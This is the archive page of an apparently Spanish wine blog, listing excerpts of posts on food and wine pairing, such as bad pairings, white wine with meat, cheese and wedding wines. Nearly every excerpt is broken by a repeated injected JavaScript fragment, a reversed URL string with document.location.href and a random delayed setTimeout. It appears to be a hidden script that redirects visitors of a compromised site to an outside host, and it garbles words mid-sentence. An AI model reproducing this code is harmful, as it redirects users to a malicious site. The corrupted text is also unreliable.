Maridaje


Maridajes inadecuados II

En la anterior entrada hablábamos sobre alimentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos que podían atentar contra el sabor del vino. El camino hacia el maridaje ideal exige conocer a los aliados y enemigos del vino para poder disfrutarlo mejor. Continuamos con la lista, no sin antes recordar que se […]


Maridajes inadecuados

En cuantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a maridaje hasta el momentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to hemos hablado de cómo saber que alimentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos combinan mejor con los diferentes tipos de vinos y porqué. Hoy hablaremos de algunos alimentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var […]

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Los vinos blancos también maridan con la carne

Sabemos que las reglas populares dicen que los vinos tintoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos maridan con la carne y los vinos blancos con el pescado. Sin embargo, este mitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ha ido quedando un poco desterrado por las nuevas tendencias en gastronomía que […]


¿Beber vino con la «cómida rápida»?

Casi toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}todo el mundo dice que no le gusta la cómida rápida, que no hay nada como la dieta mediterrránea o la comida casera, sin embargo las estadísticas de consumo no dicen lo mismo. Como parece claro que casi toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay […]


El vino y el queso

Un estudio publicado en la revista Journal of Food Science ha demostrado que el placer de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomar vino aumenta cuando se come con queso. El estudio se realizó en el Centro para el Sabor y Comportamientoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Alimentario de […]


Elegir el vino para una boda

Estamos en plena temporada de bodas, cada detalle debe estar cuidado con mimo y un elementoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to muy importante será el vino elegido, que muchas veces puede no resultar tarea sencilla. Lo primero que debes de saber es que se ha de buscar un vino […]


¿Qué es un Frizzante?

Por lo general cuando hablamos de Frizzante (vino de aguja en Italiano) no podemos llamarlo vino, según el reglamentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de la Ley del Vino de España se denomina vino a los líquidos que resultan de la fermentación alcohólica del zumo de uvas, sin que se haya […]


Maridaje con vinos espumosos

El vino espumoso desde sus inicios ha sido una bebida llena de glamour y además asociado a muchos rituales de celebración como cumpleaños, bodas, Año Nuevo, cenas románticas, pedidas de mano…incluso existen tradiciones como el bañar con el preciado vino a los ganadores de una carrera de Fórmula 1, o la de estrellar una […]


Maridaje: ¿Cómo casar vino y comida?

Y es que metafóricamente hablando es de lo que se trata, de casar el vino con los alimentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos con la única intención de realzar el placer a la hora de degustarlos. Iremos más allá del clásico dicho «el pescado debe acompañarse con vino blanco y la carne […]